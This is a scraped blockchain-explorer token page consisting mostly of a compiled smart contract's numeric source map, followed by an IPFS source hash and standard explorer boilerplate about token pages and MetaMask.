9:30;;;;:18;:30;;;;;;;;11326:83;11323:145;;;-1:-1:-1;;;;;;11145:18:0;;11125:7;11145:18;;;:11;:18;;;;;;;;291:10;11145:27;;;;;;;:36;;;11424:44;;11323:145;10479:20;;10527:8;;11482:37;;;;-1:-1:-1;11506:13:0;;-1:-1:-1;;;;;11500:19:0;;;11506:13;;11500:19;;11482:37;:70;;;;-1:-1:-1;11541:10:0;11522:30;;;;:18;:30;;;;;;;;11482:70;11479:117;;;-1:-1:-1;;;;;11567:22:0;;;;;;:18;:22;;;;;:29;;-1:-1:-1;;11567:29:0;11592:4;11567:29;;;11479:117;-1:-1:-1;11614:1:0;11216:407;;;;;:::o;10241:99::-;10298:7;10326:1;10324;:3;10323:9;;10331:1;10323:9;;;-1:-1:-1;10329:1:0;10241:99;-1:-1:-1;10241:99:0:o;1805:179::-;1863:7;;1895:5;1899:1;1895;:5;:::i;:::-;1883:17;;1924:1;1919;:6;;1911:46;;;;-1:-1:-1;;;1911:46:0;;14273:2:1;1911:46:0;;;14255:21:1;14312:2;14292:18;;;14285:30;14351:29;14331:18;;;14324:57;14398:18;;1911:46:0;14071:351:1;2190:136:0;2248:7;2275:43;2279:1;2282;2275:43;;;;;;;;;;;;;;;;;:3;:43::i;2588:189::-;2674:7;2709:12;2702:5;2694:28;;;;-1:-1:-1;;;2694:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2733:9:0;2745:5;2749:1;2745;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1865:456::-;1942:6;1950;1958;2011:2;1999:9;1990:7;1986:23;1982:32;1979:52;;;2027:1;2024;2017:12;1979:52;2066:9;2053:23;2085:31;2110:5;2085:31;:::i;:::-;2135:5;-1:-1:-1;2192:2:1;2177:18;;2164:32;2205:33;2164:32;2205:33;:::i;:::-;1865:456;;2257:7;;-1:-1:-1;;;2311:2:1;2296:18;;;;2283:32;;1865:456::o;2515:247::-;2574:6;2627:2;2615:9;2606:7;2602:23;2598:32;2595:52;;;2643:1;2640;2633:12;2595:52;2682:9;2669:23;2701:31;2726:5;2701:31;:::i;2975:388::-;3043:6;3051;3104:2;3092:9;3083:7;3079:23;3075:32;3072:52;;;3120:1;3117;3110:12;3072:52;3159:9;3146:23;3178:31;3203:5;3178:31;:::i;:::-;3228:5;-1:-1:-1;3285:2:1;3270:18;;3257:32;3298:33;3257:32;3298:33;:::i;:::-;3350:7;3340:17;;;2975:388;;;;;:::o;3368:127::-;3429:10;3424:3;3420:20;3417:1;3410:31;3460:4;3457:1;3450:15;3484:4;3481:1;3474:15;3500:416;3589:1;3626:5;3589:1;3640:270;3661:7;3651:8;3648:21;3640:270;;;3720:4;3716:1;3712:6;3708:17;3702:4;3699:27;3696:53;;;3729:18;;:::i;:::-;3779:7;3769:8;3765:22;3762:55;;;3799:16;;;;3762:55;3878:22;;;;3838:15;;;;3640:270;;;3644:3;3500:416;;;;;:::o;3921:806::-;3970:5;4000:8;3990:80;;-1:-1:-1;4041:1:1;4055:5;;3990:80;4089:4;4079:76;;-1:-1:-1;4126:1:1;4140:5;;4079:76;4171:4;4189:1;4184:59;;;;4257:1;4252:130;;;;4164:218;;4184:59;4214:1;4205:10;;4228:5;;;4252:130;4289:3;4279:8;4276:17;4273:43;;;4296:18;;:::i;:::-;-1:-1:-1;;4352:1:1;4338:16;;4367:5;;4164:218;;4466:2;4456:8;4453:16;4447:3;4441:4;4438:13;4434:36;4428:2;4418:8;4415:16;4410:2;4404:4;4401:12;4397:35;4394:77;4391:159;;;-1:-1:-1;4503:19:1;;;4535:5;;4391:159;4582:34;4607:8;4601:4;4582:34;:::i;:::-;4652:6;4648:1;4644:6;4640:19;4631:7;4628:32;4625:58;;;4663:18;;:::i;:::-;4701:20;;3921:806;-1:-1:-1;;;3921:806:1:o;4732:140::-;4790:5;4819:47;4860:4;4850:8;4846:19;4840:4;4819:47;:::i;4877:168::-;4950:9;;;4981;;4998:15;;;4992:22;;4978:37;4968:71;;5019:18;;:::i;5459:356::-;5661:2;5643:21;;;5680:18;;;5673:30;5739:34;5734:2;5719:18;;5712:62;5806:2;5791:18;;5459:356::o;6172:251::-;6242:6;6295:2;6283:9;6274:7;6270:23;6266:32;6263:52;;;6311:1;6308;6301:12;6263:52;6343:9;6337:16;6362:31;6387:5;6362:31;:::i;7349:306::-;7437:6;7445;7453;7506:2;7494:9;7485:7;7481:23;7477:32;7474:52;;;7522:1;7519;7512:12;7474:52;7551:9;7545:16;7535:26;;7601:2;7590:9;7586:18;7580:25;7570:35;;7645:2;7634:9;7630:18;7624:25;7614:35;;7349:306;;;;;:::o;7939:277::-;8006:6;8059:2;8047:9;8038:7;8034:23;8030:32;8027:52;;;8075:1;8072;8065:12;8027:52;8107:9;8101:16;8160:5;8153:13;8146:21;8139:5;8136:32;8126:60;;8182:1;8179;8172:12;8221:184;8291:6;8344:2;8332:9;8323:7;8319:23;8315:32;8312:52;;;8360:1;8357;8350:12;8312:52;-1:-1:-1;8383:16:1;;8221:184;-1:-1:-1;8221:184:1:o;11440:125::-;11505:9;;;11526:10;;;11523:36;;;11539:18;;:::i;11925:135::-;11964:3;11985:17;;;11982:43;;12005:18;;:::i;:::-;-1:-1:-1;12052:1:1;12041:13;;11925:135::o;12065:128::-;12132:9;;;12153:11;;;12150:37;;;12167:18;;:::i;12330:127::-;12391:10;12386:3;12382:20;12379:1;12372:31;12422:4;12419:1;12412:15;12446:4;12443:1;12436:15;12462:980;12724:4;12772:3;12761:9;12757:19;12803:6;12792:9;12785:25;12829:2;12867:6;12862:2;12851:9;12847:18;12840:34;12910:3;12905:2;12894:9;12890:18;12883:31;12934:6;12969;12963:13;13000:6;12992;12985:22;13038:3;13027:9;13023:19;13016:26;;13077:2;13069:6;13065:15;13051:29;;13098:1;13108:195;13122:6;13119:1;13116:13;13108:195;;;13187:13;;-1:-1:-1;;;;;13183:39:1;13171:52;;13278:15;;;;13243:12;;;;13219:1;13137:9;13108:195;;;-1:-1:-1;;;;;;;13359:32:1;;;;13354:2;13339:18;;13332:60;-1:-1:-1;;;13423:3:1;13408:19;13401:35;13320:3;12462:980;-1:-1:-1;;;12462:980:1:o;13447:217::-;13487:1;13513;13503:132;;13557:10;13552:3;13548:20;13545:1;13538:31;13592:4;13589:1;13582:15;13620:4;13617:1;13610:15;13503:132;-1:-1:-1;13649:9:1;;13447:217::o
Swarm Source
ipfs://ee12574d6ebfa2e91b523ff66fc46b6545d59d5cf02ab2fbf41a81fd3b158689
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)